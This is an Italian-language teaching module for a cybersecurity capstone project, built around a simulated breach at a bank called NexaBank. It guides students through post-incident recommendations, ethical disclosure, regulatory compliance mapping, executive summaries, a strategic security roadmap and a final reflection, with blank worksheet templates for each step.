Fase 1: Identificare le aree prioritarie

Le raccomandazioni dovrebbero riguardare tre categorie principali:

1. **Controlli tecnici**: strumenti di sicurezza, monitoraggio, configurazioni.
2. **Miglioramenti dei processi**: flussi di lavoro, maturità della risposta agli incidenti.
3. **Formazione delle persone** – sensibilizzazione degli utenti, formazione SOC, coordinamento tra i team.

Fase 2: Bozza di raccomandazioni specifiche

Esempio (NexaBank):

- **Tecnico** → Implementare l'autenticazione a più fattori (MFA) su tutti gli account privilegiati; abilitare il monitoraggio DLP (Data Loss Prevention) sul traffico in uscita.
- **Processo** → Istituire esercitazioni trimestrali sul playbook IR; integrare l'ufficio legale nel flusso di lavoro di escalation.
- **Persone** → Condurre un programma di simulazione di phishing; fornire agli analisti SOC una formazione avanzata sulla analisi forense dei log.

Fase 3: Definizione delle priorità

Non tutte le raccomandazioni possono essere implementate contemporaneamente. Classificare in base a:

- **Alta** → Correzioni critiche, immediate (MFA, patch, aggiornamenti delle regole del firewall).
- **Media** → Importanti ma meno urgenti (formazione del personale, esercitazioni trimestrali).

- **Basso** → A più lungo termine o dipendente dalle risorse (nuovo modulo SIEM, rilevamento tramite machine learning).

Fase 4: Esercizio – Redigere 3-5 raccomandazioni

Gli studenti devono proporne almeno **una per categoria** (tecnica, processo, persone).

Raccomandazione	Categoria	Priorità (H/M/L)	Responsabile	Scadenza
_____	Tecnica	_____	_____	
_____	Processo	_____	_____	
_____	Persone	_____	_____	
_____	(Facoltativo)	_____	_____	

Fase 5: Risultato atteso

- Presentare una **relazione finale con le raccomandazioni** (3-5 azioni prioritarie).
- Deve includere:
    - Almeno una raccomandazione tecnica, una relativa ai processi e una incentrata sulle persone.
    - Classifica delle priorità.
    - Responsabili assegnati e scadenze.

Punto di controllo: Sezione 5.6

Prima di procedere, assicurati di:

- Redazione di almeno 3 raccomandazioni (tecniche, di processo, relative alle persone).
- Assegnazione di priorità alle raccomandazioni (H/M/L).
- Assegnazione di responsabili e scadenze.
- Presentazione del rapporto finale sulle raccomandazioni

Foglio di lavoro delle raccomandazioni finali – Miglioramenti post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Preparato da: _____

1. Tabella delle raccomandazioni

Raccomandazione	Categoria	Priorità (H/M/L)	Responsabile	Scadenza	Note
_____	Processo	_____	_____	_____	_____
_____	tecnico	_____	_____	_____	_____
_____	Persone	_____	_____	_____	_____
_____	(facoltativo)	_____	_____	_____	_____

2. Motivazione di ciascuna raccomandazione

(Spiegare perché ciascuna raccomandazione è necessaria, collegandola ai risultati dell'analisi delle cause alla radice, della valutazione dell'impatto e delle lezioni apprese).

- **Raccomandazione 1:** _____
- **Raccomandazione 2:** _____
- **Raccomandazione 3:** _____
- **Raccomandazione 4 (facoltativa):** _____

3. Risultati attesi

(Descrivere in che modo l'attuazione di queste raccomandazioni migliorerà la resilienza della sicurezza).

---

4. Piano di follow-up

- Presentare le raccomandazioni alla dirigenza
- Aggiungere le raccomandazioni alla roadmap di sicurezza
- Verificare lo stato di implementazione nei checkpoint a 30/60/90 giorni

Fase 6: Etica, strategia e presentazione

6.1 Responsabilità etiche nella risposta agli incidenti

Perché l'etica è importante

La risposta agli incidenti non consiste solo nel fermare l'attacco, ma anche nel **fare la cosa giusta** per i clienti, i dipendenti, le autorità di regolamentazione e il pubblico.
In qualità di analista junior, non sarai tu a decidere le azioni legali da intraprendere, ma **dovrai riconoscere quando sorgono questioni etiche e legali** e segnalarle in modo appropriato.

Fase 1: poniti la domanda chiave

Sono stati divulgati dati sensibili?

- **Sì** → ciò potrebbe comportare obblighi di divulgazione (ai clienti, alle autorità di regolamentazione o alle forze dell'ordine).
- **No** → continua a monitorare, ma documenta comunque ciò che *potrebbe essere stato esposto*. Esempio (caso NexaBank):
    - Account compromesso: dbadmin
    - Dati consultati: registri dei dipendenti delle risorse umane
    - Impatto etico: i dipendenti devono essere informati che i loro dati personali sono stati esposti.

Fase 2: Identificare chi deve essere informato

Se l'esposizione è confermata o sospettata, il SOC deve segnalarla alla direzione. I potenziali soggetti interessati includono:

- **Consulente legale** → per interpretare le normative.
- **Autorità di regolamentazione** → GDPR, PCI DSS, SOX, HIPAA, FFIEC, ecc.
- **Clienti o dipendenti interessati** → i cui dati sono stati esposti.
- **Forze dell'ordine** → se sono state violate leggi o se è evidente un'attività criminale.

Fase 3: Responsabilità etiche degli analisti SOC

In qualità di analista junior, le tue responsabilità sono:

- Documentare **ciò che è stato compromesso** (sistemi, file, account).
- Segnalare **eventuali requisiti di conformità** nel rapporto.
- Riferisci il caso ai **team legali e dirigenziali**: non prendere da solo la decisione finale in merito alla divulgazione.
- Garantire **l'accuratezza e l'onestà** nella segnalazione: *non minimizzare né nascondere mai nulla*.

Fase 4: Esercizio sugli scenari etici

Gli studenti analizzano scenari di esempio e decidono cosa deve essere divulgato.

Scenario	**Dati coinvolti**	**Risposta etica**
File delle risorse umane copiati dall'autore dell'attacco	Informazioni personali identificative dei dipendenti	Informare le risorse umane + l'ufficio legale, probabile divulgazione ai dipendenti
Malware rilevato su un endpoint, nessuna esfiltrazione	documento locale	, ma non è necessaria alcuna divulgazione file della workstation, salvo comprovata esposizione
Log delle transazioni dei clienti esfiltrati	Dati finanziari	Notifica all'ufficio legale + conformità, divulgazione ai clienti e all'autorità di regolamentazione, come richiesto

Fase 5: Risultato atteso

- **Foglio di lavoro sulla divulgazione etica**: Documento:
  - Dati potenzialmente esposti
  - Chi è stato coinvolto
  - Chi deve essere informato
  - Se la divulgazione è richiesta dalla legge o consigliabile dal punto di vista etico

Foglio di lavoro sulla divulgazione etica – Modello

ID caso: _____
Titolo dell'incidente: _____
Data di preparazione: _____
Analista: _____

1. Dati potenzialmente esposti

---

2. Parti interessate coinvolte (dipendenti, clienti, partner)

---

3. Notifiche richieste (selezionare tutte le opzioni applicabili)

- Interne: dirigenti, ufficio legale, risorse umane
- Clienti o dipendenti
- Autorità di regolamentazione (GDPR, PCI DSS, HIPAA, ecc.)
- Forze dell'ordine
- Altro: _____

4. Note etiche

(Perché è richiesta la divulgazione o perché può essere eticamente consigliabile anche se non richiesto dalla legge).

6.2 Conformità e segnalazioni normative

Perché è importante

Quando vengono divulgati dati sensibili, le organizzazioni possono trovarsi a dover far fronte a **obblighi legali e normativi**.
La conformità non è facoltativa: la mancata notifica alle autorità di regolamentazione o ai clienti può comportare **multe, azioni legali e perdita di fiducia**.

In qualità di analista SOC, non sei tenuto a redigere documenti legali, ma devi:

- **Riconoscere quali normative potrebbero essere applicabili.**
- **Documentare chiaramente i risultati dell'incidente** in modo che i team legali/di conformità possano agire.

Fase 1: Identificare le normative applicabili

NexaBank, in qualità di istituto finanziario, può rientrare in diversi quadri normativi a seconda del **tipo di dati** e **della giurisdizione**:

- **GDPR** → Dati dei clienti o dei dipendenti europei
- **PCI DSS** → Dati delle carte di pagamento elaborati o archiviati
- **SOX** → Requisiti di rendicontazione finanziaria e controllo interno
- **HIPAA** → Dati relativi alla salute (se presenti nei sistemi HR o assicurativi)
- **FFIEC** → Standard di vigilanza bancaria degli

Stati Uniti Esempio (caso NexaBank):

- Dati dei dipendenti HR esposti → probabile violazione del GDPR (personale UE) e delle leggi sulla privacy a livello statale.
- Documenti finanziari dei clienti al sicuro → PCI DSS non applicabile.

Fase 2: collegare l'esposizione dei dati alla normativa

Utilizza un **approccio di mappatura**: quale tipo di dati è stato compromesso e quale normativa si applica?

Tipo di dati	Potenziali normative	Obbligo di segnalazione
Informazioni personali dei dipendenti (personale UE)	GDPR	È necessario informare l'autorità di regolamentazione e le persone interessate entro 72 ore
Dati delle carte di pagamento eventualmente	PCI DSS	È necessario informare la banca acquirente + titolari delle carte
Dati bancari dei clienti	FFIEC, SOX regolamentazione, la	Potrebbe essere necessaria la notifica all'autorità di relazione
Dati sanitari/assicurativi	HIPAA	È necessario informare l'HHS e le persone interessate

Fase 3: Considerare i requisiti di segnalazione

Le normative variano, ma gli obblighi tipici includono:

- **Chi informare** → autorità di regolamentazione, clienti, forze dell'ordine.
- **Quando informare** → ad esempio, il GDPR richiede **che ciò avvenga** entro 72 ore.
- **Cosa includere** → descrizione della violazione, dati interessati, misure di mitigazione.

Fase 4: Esercizio – Tabella di mappatura della conformità

Gli studenti completano la tabella in base ai risultati delle loro indagini sugli incidenti.

Dati compromessi	Regolamento attivato	Termine di notifica	Entità segnalante
_____	_____	_____	_____
_____	_____	_____	_____

Fase 5: Risultato atteso

- Inviare una **tabella di mappatura della conformità** per l'incidente.
- Deve includere:

- Almeno 2 tipi di dati esaminati
- La normativa applicabile (se presente)
- Requisiti di notifica (scadenza + chi notificare)

Foglio di lavoro per la mappatura della conformità – Modello

ID caso: _____
Titolo dell'incidente: _____
Data di preparazione: _____
Analista: _____

1. Dati compromessi

2. Normative potenzialmente violate

(Selezionare tutte le opzioni applicabili)

- GDPR
- PCI DSS
- SOX
- HIPAA
- FFIEC
- Altro: _____

3. Tabella di mappatura della conformità

Notifica attivata dalla violazione dei dati	Termine ultimo per la segnalazione	Entità segnalante	

4. Note per il team legale/di conformità

6.3 Sintesi esecutiva - Comunicazione alla dirigenza

Perché è importante

I dirigenti e i membri del consiglio di amministrazione devono comprendere cosa è successo durante un incidente, ma non vogliono (e spesso non sono in grado di elaborare) pagine di gergo tecnico.

Una buona **sintesi esecutiva**:

- Si adatta a **una sola pagina**
- Utilizza **un linguaggio commerciale semplice**
- Copre solo i **fatti e le raccomandazioni** più **importanti**

Questo documento può influenzare:

- **Fiducia** → I dirigenti sono sicuri che il SOC abbia il controllo?
- **Decisioni** → Verranno stanziate risorse per le correzioni?
- **Conformità** → Dimostra che la dirigenza era informata.

Fase 1: Componenti chiave di una sintesi esecutiva

Il riassunto deve includere cinque elementi:

1. **Cosa è successo**
    - Breve descrizione dell'incidente.
    - Esempio: *"Il 12 aprile alle 02:41 UTC si è verificato un accesso non autorizzato al database delle risorse umane, che ha portato alla sottrazione dei dati dei dipendenti".*
2. **Come è stato contenuto**
    - Principali azioni di contenimento.
    - Esempio: *"L'account dbadmin è stato disabilitato, il server interessato è stato isolato e il traffico in uscita è stato bloccato".*
3. **Cosa è stato colpito**
    - Sistemi, dati e utenti.

- Esempio: *"Sono state consultate le informazioni personali identificative (PII) dei dipendenti contenute in 214 record; nessun dato relativo ai clienti o ai pagamenti è stato compromesso".*

4. **Requisiti normativi/di divulgazione**
    - Segnalare se potrebbe essere richiesta una segnalazione.
    - Esempio: *"Possibile obbligo di notifica ai sensi del GDPR (dipendenti UE interessati)".*
5. **Le 3 raccomandazioni principali**
    - Chiaro e con priorità definite.
    - Esempio: *"(1) Applicare l'autenticazione a più fattori (MFA) su tutti gli account privilegiati. (2) Aggiornare il playbook degli incidenti per l'esfiltrazione dei dati. (3) Condurre corsi di formazione per sensibilizzare i dipendenti".*

Fase 2: Tono e stile

- **Cosa fare:** essere concreti, concisi e professionali.
- **Da evitare:** utilizzare gergo tecnico (SIEM, IOC, movimento laterale) se non spiegato.
- **Cosa fare:** inquadrare le raccomandazioni come **riduzione del rischio aziendale**.
- **Da evitare: non** sovraccaricare il lettore con troppi dettagli.

Fase 3: Esempio di sintesi esecutiva (NexaBank) Sintesi esecutiva

— Incidente NexaBank (12 aprile)
Il 12 aprile 2025, NexaBank ha rilevato un accesso non autorizzato al proprio server di database delle risorse umane da un indirizzo IP estero. L'autore dell'attacco ha utilizzato un account privilegiato compromesso (dbadmin) per sottrarre dati sensibili relativi ai dipendenti.

Il Security Operations Center (SOC) ha contenuto l'incidente disabilitando l'account, isolando il server interessato e bloccando il traffico in uscita. Le indagini forensi hanno confermato che sono stati consultati 214 record dei dipendenti contenenti informazioni di identificazione personale (PII). Nessun dato relativo ai clienti o finanziario è stato compromesso.

A causa dell'esposizione dei dati dei dipendenti europei, NexaBank potrebbe essere soggetta agli obblighi di segnalazione previsti dal GDPR. I team legale e di conformità stanno esaminando gli obblighi.

Le 3 raccomandazioni principali:

1. Applicare l'autenticazione a più fattori (MFA) su tutti gli account privilegiati.
2. Sviluppare e testare un manuale per la gestione degli incidenti di esfiltrazione dei dati.
3. Avvia un programma di sensibilizzazione dei dipendenti sulla sicurezza degli account e sul phishing.

Fase 4: Esercizio – Redigete una bozza

Gli studenti devono redigere un **riassunto esecutivo di una pagina** sull'incidente della NexaBank. Lista di controllo:

- Descrizione dell'incidente
- Azioni di contenimento
- Sistemi/dati/utenti interessati
- Requisiti di conformità/divulgazione
- Le 3 raccomandazioni principali

Fase 5: Risultato atteso

- Presentare un **documento di sintesi di una pagina** (pronto per la dirigenza).
- Deve essere chiaro, conciso e incentrato sull'attività aziendale.

Modello di sintesi esecutiva – Rapporto post-incidente

Organizzazione: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Redatto da: _____

1. Panoramica dell'incidente

(Breve descrizione: cosa è successo, quando e come è stato rilevato).

_____

_____

2. Azioni di contenimento

(Misure chiave adottate per controllare l'incidente).

_____

_____

3. Valutazione dell'impatto

(Sistemi, dati e utenti interessati. Includere la portata stimata).

_____

_____

4. Note sulla conformità/divulgazione

(Potenziali obblighi normativi: GDPR, PCI DSS, HIPAA, ecc. Chi potrebbe dover essere informato?)

5. Le 3 raccomandazioni principali

(In ordine di priorità, chiare e orientate al business.)

1.
2.
3.

6.4 Piano di miglioramento strategico: dall'incidente alla sicurezza a lungo termine

Perché è importante

Un incidente non dovrebbe essere semplicemente archiviato e dimenticato.
I dirigenti si aspettano un **piano lungimirante** che dimostri che il SOC non si limita a reagire, ma **rafforza strategicamente la sicurezza** per prevenire future violazioni.

Un solido **piano di miglioramento strategico** collega:

- **Soluzioni a breve termine** → controlli immediati (patching, MFA, formazione)
- **Azioni a medio termine** → modifiche alle politiche/ai processi (nuovi playbook, esercitazioni trimestrali)
- **Iniziative a lungo termine** → miglioramenti architetturali (Zero Trust, ottimizzazione SIEM, postura cloud).

Fase 1: Identificare le lezioni chiave

Basare il piano su:

- **Causa principale** → cosa non ha funzionato
- **Impatto sul business** → cosa ha causato il danno maggiore
- **Lezioni apprese** → cosa deve cambiare
- **Raccomandazioni** → cosa deve essere considerato

prioritario Esempio (NexaBank):

- Causa principale: nessuna autenticazione a più fattori (MFA) sugli account privilegiati
- Impatto: esfiltrazione delle informazioni personali identificative dei dipendenti
- Lezione: controlli di identità deboli = rischio aziendale elevato
- Raccomandazione: implementare l'autenticazione a più fattori (MFA) + rafforzare l'IAM

Fase 2: definire soluzioni a breve termine

Soluzioni rapide che riducono l'esposizione immediata.
Esempi:

- Applicare le patch mancanti sui servizi VPN/SSH.
- Applicare l'autenticazione a più fattori (MFA) su tutti gli account amministrativi.
- Aggiornare e testare il playbook "Data Exfiltration".
- Condurre una campagna di sensibilizzazione immediata sul phishing.

Fase 3: Pianificare azioni a medio termine

Mantenere i miglioramenti nei prossimi 3-6 mesi. Esempi:

- Pianificare esercitazioni trimestrali di risposta agli incidenti.
- Stabilire flussi di lavoro automatizzati per la segnalazione all'ufficio legale/conformità.
- Migliorare la registrazione degli endpoint e centralizzarla tramite SIEM.

Fase 4: delineare una strategia a lungo termine

Pensare con 12-24 mesi di anticipo.
Esempi:

- Passare a un'architettura Zero Trust per l'accesso remoto.
- Espandere la gestione della sicurezza cloud.
- Implementare integrazioni avanzate SIEM/EDR/XDR.
- Creare un programma di sensibilizzazione alla sicurezza con rinforzo continuo.

Fase 5: Esercitazione – Creare una roadmap strategica

Gli studenti devono creare una **tabella di marcia a tre livelli** (breve, medio e lungo termine).

Iniziativa	**Categoria (breve/medio/lungo termine)**	**Responsabile**	**Scadenza**	**Priorità**
_____	Breve termine	_____		Alta

Iniziativa	Categoria (breve/media/lunga)	Titolare	Scadenza	Priorità
_____	A medio termine	_____		Medio
_____	A lungo termine	_____		Bassa

Fase 6: Risultato atteso

- Presentare una **roadmap strategica per la sicurezza** (2-3 pagine).
- Deve includere:
    - Almeno **2 iniziative a breve termine**, **2 a medio termine** e **2 a lungo termine**
    - Responsabili e scadenze
    - Chiaro collegamento con gli insegnamenti tratti dall'incidente

Piano di miglioramento strategico – Modello di foglio di lavoro

ID caso: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Preparato da: _____

1. Soluzioni a breve termine (0-G0 giorni)

---

2. Azioni a medio termine (3-6 mesi)

---

3. Strategia a lungo termine (6-24 mesi)

---

4. Tabella della roadmap strategica

Iniziativa	Categoria	Responsabile	Scadenza	Priorità
_____	A breve termine	_____	Alta	
_____	A medio termine	_____	Medio	
_____	A lungo termine	_____	Basso	

6.5 Riflessione finale e presentazione – Conclusione del progetto finale

Perché è importante

Questo è il **culmine del progetto finale**. Gli studenti hanno:

- Indagato su una violazione simulata
- Contenuto e documentato la minaccia
- Analizzato rischi, impatto e lezioni apprese
- Proposto politiche e miglioramenti a lungo termine
  Ora è il momento di **concludere il lavoro** e riflettere sul percorso compiuto.

Fase 1: Raccogliere i risultati

Gli studenti preparano un **pacchetto finale** che include:

1. **Rapporto completo sull'incidente** (dettagli tecnici, prove, cronologia)
2. **Cronologia dell'attacco** (eventi chiave dal primo allarme al ripristino)
3. **Sintesi esecutiva** (1 pagina, linguaggio commerciale)
4. **Piano strategico** (miglioramenti a breve, medio e lungo termine)
5. *(Facoltativo)* Presentazione o diagrammi per la dirigenza

Fase 2: Riflettere sull'esperienza

Gli studenti scrivono una **riflessione di 1-2 pagine**, concentrandosi su:

- **Competenze acquisite** → ad esempio, analisi SIEM, revisione dei registri, gestione del registro dei rischi, comunicazione esecutiva
- **Sfide affrontate** → ostacoli tecnici, organizzativi o di comunicazione
- **Approfondimenti etici** → equilibrio tra risposta tecnica, conformità e responsabilità

- **Crescita futura** → dove desiderano approfondire le competenze in futuro (analisi forense, leadership SOC, sicurezza cloud, ecc.)

Esempio di spunto di riflessione:

"La parte più impegnativa di questo incidente è stata tradurre i risultati tecnici in una sintesi esecutiva. Mi ha costretto a pensare come un dirigente e a concentrarmi sul rischio, non solo sugli IOC. Questo mi ha insegnato l'importanza di una comunicazione chiara nella sicurezza informatica".

Fase 3: Lista di controllo per l'invio

Gli studenti verificano che tutti gli elementi siano inclusi prima dell'invio.

- Rapporto sull'incidente (tecnico)
- Cronologia dell'attacco
- Sintesi esecutiva (incentrata sul business)
- Piano strategico (piano lungimirante)
- Documento di riflessione
- Facoltativo: diapositive o immagini per la presentazione

Fase 4: Risultato finale

- In**vi**are il **portfolio finale** contenente tutti i documenti richiesti.
- Questo servirà sia come **prova del completamento del corso** sia come **portfolio che** gli studenti potranno mostrare.

Modello per la presentazione della riflessione finale

Nome: _____
Corso: Introduzione alla sicurezza informatica – Progetto finale
Data _____

1. Competenze acquisite

2. Sfide affrontate

3. Approfondimenti etici

4. Aree di crescita futura